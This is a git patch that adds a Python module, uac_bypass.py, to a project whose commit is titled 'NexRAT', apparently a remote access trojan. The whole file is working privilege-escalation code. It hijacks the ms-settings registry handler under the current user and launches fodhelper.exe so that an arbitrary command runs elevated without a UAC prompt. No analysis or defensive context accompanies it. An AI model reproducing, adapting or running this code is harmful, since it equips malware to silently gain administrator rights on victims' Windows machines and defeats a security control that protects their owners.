From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:06:25 +0200 Subject: NexRAT --- Specific/uac_bypass.py | 44 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 Specific/uac_bypass.py (limited to 'Specific/uac_bypass.py') diff --git a/Specific/uac_bypass.py b/Specific/uac_bypass.py new file mode 100644 index 0000000..a8df662 --- /dev/null +++ b/Specific/uac_bypass.py @@ -0,0 +1,44 @@ +import winreg +import ctypes +import time +import os + +from sys import exit + +FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' +REG_PATH = 'Software\Classes\ms-settings\shell\open\command' +DELEGATE_EXEC_REG_KEY = 'DelegateExecute' + + +def is_running_as_admin(): + try: + return ctypes.windll.shell32.IsUserAnAdmin() + except: + return False + + +def create_reg_key(key, value): + try: + winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) + registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) + winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value) + winreg.CloseKey(registry_key) + except WindowsError: + exit(0) + + +def bypass_uac(cmd, timeout=2.5): + try: + time.sleep(timeout) + create_reg_key(DELEGATE_EXEC_REG_KEY, '') + create_reg_key(None, cmd) + except WindowsError: + exit(0) + + +def Bypass(path): + try: + bypass_uac(path) + os.system(FOD_HELPER) + except WindowsError: + exit(0) \ No newline at end of file -- cgit v1.2.3